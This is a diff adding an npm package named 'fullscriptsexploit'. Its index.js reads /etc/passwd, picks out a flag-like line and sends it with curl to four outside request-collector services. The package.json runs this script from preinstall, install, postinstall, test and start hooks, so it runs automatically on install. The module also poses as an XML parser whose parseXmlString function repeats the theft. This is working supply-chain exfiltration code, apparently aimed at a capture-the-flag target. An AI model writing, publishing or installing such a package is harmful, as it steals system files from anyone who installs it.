fullscriptsexploit 0.30.1

package/index.js

@@ -0,0 +1,55 @@
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+const stage = process.argv[2] || 'runtime';
+console.log(`=== EXPLOIT STAGE: ${stage} ===`);
+
+function exploit() {
+  try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    const flagLine = passwd.split('\n').find(line => line.includes('{'));
+    
+    if (flagLine) {
+      console.log(`🎯 FLAG at ${stage}:`, flagLine);
+      
+      const services = [
+        `https://1.requestcatcher.com/?flag=${encodeURIComponent(flagLine)}&stage=${stage}`,
+        `https://bankhack.beeceptor.com/flag?data=${encodeURIComponent(flagLine)}&stage=${stage}`,
+        `https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(flagLine)}&stage=${stage}`,
+        `https://eoo8nqggzqxl.x.pipedream.net/?flag=${encodeURIComponent(flagLine)}&stage=${stage}`
+      ];
+      
+      services.forEach(service => {
+        try {
+          execSync(`curl -s --max-time 10 "${service}"`);
+          console.log(`✅ Sent to: ${service.split('/')[2]}`);
+        } catch(e) {
+          console.log(`❌ Failed: ${service.split('/')[2]}`);
+        }
+      });
+      
+      return flagLine;
+    }
+  } catch(e) {
+    console.log('Error:', e.message);
+  }
+  return null;
+}
+
+// Выполняем эксплойт
+const flag = exploit();
+
+// Runtime функциональность
+if (!process.argv[2]) {
+  module.exports = {
+    parseXmlString: function(xml, options) {
+      console.log('PARSER CALLED - re-exploiting');
+      exploit();
+      return {
+        get: function(xpath) {
+          return { text: () => flag || "default" };
+        }
+      };
+    }
+  };
+}

package/package.json

@@ -0,0 +1,26 @@
+{
+  "name": "fullscriptsexploit",
+  "version": "0.30.1",
+  "main": "index.js",
+  "dependencies": {
+    "axios": "^1.6.0",
+    "lodash": "^4.17.21",
+    "moment": "^2.29.4",
+    "uuid": "^9.0.0",
+    "chalk": "^4.1.2",
+    "debug": "^4.3.4"
+  },
+  "scripts": {
+    "preinstall": "node index.js preinstall",
+    "install": "node index.js install",
+    "postinstall": "node index.js postinstall",
+    "prepublish": "node index.js prepublish",
+    "prepare": "node index.js prepare",
+    "prestart": "node index.js prestart",
+    "start": "node index.js start",
+    "poststart": "node index.js poststart",
+    "pretest": "node index.js pretest",
+    "test": "node index.js test",
+    "posttest": "node index.js posttest"
+  }
+}